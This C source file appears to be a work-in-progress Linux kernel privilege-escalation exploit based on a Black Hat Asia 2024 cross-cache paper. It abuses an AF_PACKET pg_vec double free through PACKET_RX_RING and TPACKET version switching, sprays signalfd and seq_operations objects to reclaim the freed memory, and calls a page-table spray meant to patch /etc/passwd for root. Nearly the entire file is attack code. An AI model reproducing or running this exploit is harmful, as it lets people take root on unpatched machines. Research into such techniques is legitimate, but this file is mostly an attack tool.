/**
 * This is an attempt inspired in the Black Hat paper: https://i.blackhat.com/Asia-24/Presentations/Asia-24-Wu-Game-of-Cross-Cache.pdf 
 *
 * (5.b attempt in the paper)
 */
#define _GNU_SOURCE
#include <sched.h>
#include <assert.h>
#include <fcntl.h>
#include <linux/if_packet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/eventfd.h>
#include <sys/ioctl.h>
#include <sys/timerfd.h>
#include <sys/signalfd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <sys/resource.h>
#include <linux/sched.h>
#include <poll.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/syscall.h>
#include <errno.h>
#include "../include/exploit.h"
#include "../include/util.h"
#include "../include/signalfd_spray.h"

#include "../include/pte_spray.h"
static int cpu_partial_slabs = 8;
static int objs_per_slab = 32;
static int min_partial = 5;

int run_exploit()
{
  int num_spray = objs_per_slab * (cpu_partial_slabs + 1);
  int fd_s, ret, victim_fd;
  uint32_t block_s = PAGE, frame_s = PAGE / 2;
  int *fds0, *fds_pre_alloc, *fds_post_alloc, *fds_post_alloc_seq;

  printf("\n\n[+] Starting explotation\n");
  pin_cpu(0);

  // Allocating large memory region for future PTE spray
  void *base = mmap_align(PGT_SRAY_SIZE);

  if ((fd_s = socket(AF_PACKET, SOCK_RAW, 0)) < 0)
    fprintf(stderr, "Error while creating socket: %d\n", fd_s);

  // PACKET_V3
  if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V3}, sizeof(int))) < 0)
    fprintf(stderr, "Error while setsockopt (V3): %d\n", ret);

  /* Allocate pg_vec - kmalloc-128 */
  union tpacket_req_u treq = {};
  treq.req3.tp_block_size = block_s;       // 4096
  treq.req3.tp_block_nr = TARGET_SIZE / 8; // tp_block_nr * 8 sera el tamano del kmalloc a atacar
  treq.req3.tp_frame_size = block_s;       // 2048
  treq.req3.tp_frame_nr = TARGET_SIZE / 8;
  treq.req3.tp_retire_blk_tov = 0xffffffff; // You only get to do what ever you want for around 1h 10mins, then the kernel panics // this line is from terawhiz exploit

  // pre allocations (to get a free empty slab)
  // This will drain cpu partial slab (todos estan a full)
  fds0 = alloc_signalfd_serial(0, num_spray); // objPerSlab(16 en kmalloc-256) * X active slab (exactly one page)
  // check_slabinfo_all();
  // free_signalfd(fds0, initial_spray_size);

  fds_pre_alloc = alloc_signalfd_serial(0, objs_per_slab - 1);

  if ((setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring() execution
    fprintf(stderr, "Error while setsockopt RX RING (V3): %d\n", ret);

  //  1st free: tp_block_nr to 0
  memset(&treq, 0, sizeof(union tpacket_req_u));
  if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring()
    fprintf(stderr, "Error while putting rx_owner_map to 0. Error: %d\n", ret);

  // Ocupamos el pg_vec liberado con signal_ctx
  fds_post_alloc = alloc_signalfd_serial(0, objs_per_slab + 1);

  // Switch to TPACKET_V2
  if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_VERSION, &(int){TPACKET_V2}, sizeof(int))) < 0)
    fprintf(stderr, "Error while setsockopt (V2): %d\n", ret);

  /* 2nd free: kmalloc-128 */
  // memset(&treq, 0, sizeof(treq));
  treq.req3.tp_block_size = block_s;
  treq.req3.tp_block_nr = 1;
  treq.req3.tp_frame_size = block_s;
  treq.req3.tp_frame_nr = 1;
  if ((ret = setsockopt(fd_s, SOL_PACKET, PACKET_RX_RING, &treq, sizeof(treq))) < 0) // packet_set_ring()
  {
    perror("setsockopt rx ring v2");
    fprintf(stderr, "Error while setsockopt RX RING (V2): %d\n", ret);
  }

  printf("\nSpraying seq_operations objects...\n");
  // trying to catch the freed signal_ctx (overlap with seq_operations)
  fds_post_alloc_seq = spray_seq_operations(objs_per_slab + 1);

  // encontrar fd de signal_ctx liberado
  victim_fd = leak_signal_fd_not_equal_sigmask(fds_post_alloc, objs_per_slab + 1, SIGMASK_1st_SPRAY);
  if (victim_fd >= 0)
  {
    printf("¡¡Encontrado signal_ctx en fd = %d!!\n", victim_fd);
    read_fdinfo(victim_fd);
  }
  else
  {
    printf("No se encontró ningún sigmask!=0000000000002000\n");
  }

  fcntl(victim_fd, F_SETFD, FD_CLOEXEC);

  printf("\n\nCLosin signal\n");

  // CROSS CACHE ATTACK

  // Free pre alloc and post alloc objects
  free_signalfd(fds_pre_alloc, objs_per_slab - 1);                           // todos los seq_operations
  free_signalfd(fds_post_alloc_seq, objs_per_slab + 1);                      // todos los seq_operations
  free_signalfd_except_victim(fds_post_alloc, objs_per_slab + 1, victim_fd); // todos los del primer spray (excepto victima)

  // Free 1 object per slab from step 3
  /* for (int i=0; i<num_spray;i += objs_per_slab){

   }*/

  // free in an even number way

  for (int i = 0; i < num_spray; i += objs_per_slab)
  {
    close(fds0[i]);
  }


  // pte spray and passwd root patch ¿?
  pte_spray_passwd(victim_fd);
  sleep(2); // deberia de pasar el thread a background y dormirlo para siempre
  printf("fiiiin");
  free_user_ptes2();

  /* Spray PTE
  touch_user_ptes(base, PGT_SRAY_SIZE);
  read_fdinfo(victim_fd);
  sleep(2);  deberia de pasar el thread a background y dormirlo para siempre
  printf("fiiiin");
  */
  // Libera la región mapeada de tablas de PTE.
  // free_user_ptes(base, PGT_SRAY_SIZE);
}
